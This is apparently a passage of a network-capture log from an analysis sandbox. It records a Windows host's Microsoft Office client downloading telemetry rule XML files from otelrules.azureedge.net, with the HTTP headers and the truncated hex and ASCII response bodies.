2024-10-30 05:17:20 UTC	1415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 69 6c 69 74 79 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702501" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Programmability.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenan

Session ID	Source IP	Source Port	Destination IP	Destination Port
133	192.168.2.4	49886	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 05:17:20 UTC	192	OUT	GET /rules/rule702500v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 05:17:20 UTC	584	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 05:17:20 GMT Content-Type: text/xml Content-Length: 1378 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:36 GMT ETag: "0x8DC582BDB813B3F" x-ms-request-id: c032846d-701e-005c-2d58-27bb94000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T051720Z-16849878b78fssff8btnns3b1400000007v000000000a2r9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-30 05:17:20 UTC	1378	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 69 6c 69 74 79 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 6f 67 72 61 6d 6d 61 62 69 6c 69 74 79 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702500" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Programmability" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenProgrammability" S="Medium" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
134	192.168.2.4	49887	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 05:17:20 UTC	192	OUT	GET /rules/rule700501v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 05:17:20 UTC	563	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 05:17:20 GMT Content-Type: text/xml Content-Length: 1405 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:58 GMT ETag: "0x8DC582BE89A8F82" x-ms-request-id: 09556753-901e-0064-11fd-26e8a6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T051720Z-r197bdfb6b4c8q4qvwwy2byzsw00000007x0000000007s6v x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 05:17:20 UTC	1405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 35 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 6f 77 65 72 50 6f 69 6e 74 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700501" V="1" DC="SM" EN="Office.Telemetry.Event.Office.PowerPoint.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToke

Session ID	Source IP	Source Port	Destination IP	Destination Port
135	192.168.2.4	49888	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 05:17:20 UTC	192	OUT	GET /rules/rule700500v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 05:17:20 UTC	563	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 05:17:20 GMT Content-Type: text/xml Content-Length: 1368 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE51CE7B3" x-ms-request-id: 48a66efd-001e-00a2-625d-26d4d5000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T051720Z-17c5cb586f6mhqqby1dwph2kzs00000002w0000000006bxc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 05:17:20 UTC	1368	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 35 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 6f 77 65 72 50 6f 69 6e 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 6f 77 65 72 50 6f 69 6e 74 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700500" V="1" DC="SM" EN="Office.Telemetry.Event.Office.PowerPoint" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPowerPoint" S="Medium" /> <F T=

Session ID	Source IP	Source Port	Destination IP	Destination Port
136	192.168.2.4	49889	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 05:17:20 UTC	192	OUT	GET /rules/rule702551v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 05:17:21 UTC	563	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 05:17:20 GMT Content-Type: text/xml Content-Length: 1415 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:39 GMT ETag: "0x8DC582BDCE9703A" x-ms-request-id: d4940829-c01e-0014-691e-27a6a3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T051720Z-17c5cb586f626sn8grcgm1gf800000000610000000009ryg x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 05:17:21 UTC	1415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 73 6f 6e 61 6c 69 7a 61 74 69 6f 6e 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702551" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Personalization.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenan

Session ID	Source IP	Source Port	Destination IP	Destination Port
137	192.168.2.4	49890	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 05:17:21 UTC	192	OUT	GET /rules/rule702550v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 05:17:21 UTC	563	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 05:17:21 GMT Content-Type: text/xml Content-Length: 1378 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE584C214" x-ms-request-id: 2d08e37c-b01e-0021-309c-27cab7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T051721Z-17c5cb586f64v7xsc2ahm8gsgw00000002fg00000000d9zy x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 05:17:21 UTC	1378	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 73 6f 6e 61 6c 69 7a 61 74 69 6f 6e 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 65 72 73 6f 6e 61 6c 69 7a 61 74 69 6f 6e 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702550" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Personalization" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPersonalization" S="Medium" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
138	192.168.2.4	49891	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 05:17:21 UTC	192	OUT	GET /rules/rule701351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 05:17:21 UTC	563	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 05:17:21 GMT Content-Type: text/xml Content-Length: 1407 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:55 GMT ETag: "0x8DC582BE687B46A" x-ms-request-id: a6706070-501e-005b-556d-28d7f7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T051721Z-15b8d89586fvpb59307bn2rcac00000002mg00000000d0qv x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 05:17:21 UTC	1407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 66 6f 72 6d 61 6e 63 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Performance.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTok

Session ID	Source IP	Source Port	Destination IP	Destination Port
139	192.168.2.4	49893	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 05:17:21 UTC	192	OUT	GET /rules/rule702151v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 05:17:21 UTC	563	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 05:17:21 GMT Content-Type: text/xml Content-Length: 1397 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE156D2EE" x-ms-request-id: 2adb5bf6-401e-0067-6309-2809c2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T051721Z-17c5cb586f6sqz6f73fsew1zd8000000018000000000bn4y x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 05:17:21 UTC	1397	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 31 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 6f 70 6c 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 65 6f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702151" V="1" DC="SM" EN="Office.Telemetry.Event.Office.People.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPeo

Session ID	Source IP	Source Port	Destination IP	Destination Port
140	192.168.2.4	49892	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 05:17:21 UTC	192	OUT	GET /rules/rule701350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 05:17:21 UTC	563	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 05:17:21 GMT Content-Type: text/xml Content-Length: 1370 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:41 GMT ETag: "0x8DC582BDE62E0AB" x-ms-request-id: c9ef38c2-001e-002b-2fff-2599f2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T051721Z-16849878b787bfsh7zgp804my400000006a000000000gdk2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 05:17:21 UTC	1370	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 66 6f 72 6d 61 6e 63 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 65 72 66 6f 72 6d 61 6e 63 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Performance" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPerformance" S="Medium" /> <F

Session ID	Source IP	Source Port	Destination IP	Destination Port
141	192.168.2.4	49894	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 05:17:21 UTC	192	OUT	GET /rules/rule702150v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 05:17:21 UTC	584	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 05:17:21 GMT Content-Type: text/xml Content-Length: 1360 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:07 GMT ETag: "0x8DC582BEDC8193E" x-ms-request-id: e20e9adc-401e-0083-18ae-26075c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T051721Z-16849878b78x6gn56mgecg60qc00000009bg00000000e1ut x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 05:17:21 UTC	1360	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 31 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 6f 70 6c 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 65 6f 70 6c 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702150" V="1" DC="SM" EN="Office.Telemetry.Event.Office.People" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPeople" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
142	192.168.2.4	49895	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 05:17:21 UTC	192	OUT	GET /rules/rule703001v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 05:17:22 UTC	584	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 05:17:21 GMT Content-Type: text/xml Content-Length: 1406 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB16F27E" x-ms-request-id: 903d302d-701e-0050-069c-276767000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T051721Z-16849878b786lft2mu9uftf3y400000008xg000000001tym x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 05:17:22 UTC	1406	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 30 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 4d 61 63 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703001" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Outlook.Mac.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTok

Session ID	Source IP	Source Port	Destination IP	Destination Port
143	192.168.2.4	49896	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 05:17:21 UTC	192	OUT	GET /rules/rule703000v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 05:17:22 UTC	584	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 05:17:21 GMT Content-Type: text/xml Content-Length: 1369 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:49 GMT ETag: "0x8DC582BE32FE1A2" x-ms-request-id: 4769d5f8-401e-0067-710e-2609c2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T051721Z-16849878b786jv8w2kpaf5zkqs00000006e000000000cq68 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 05:17:22 UTC	1369	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 30 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 4d 61 63 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 4f 75 74 6c 6f 6f 6b 4d 61 63 22 20 53 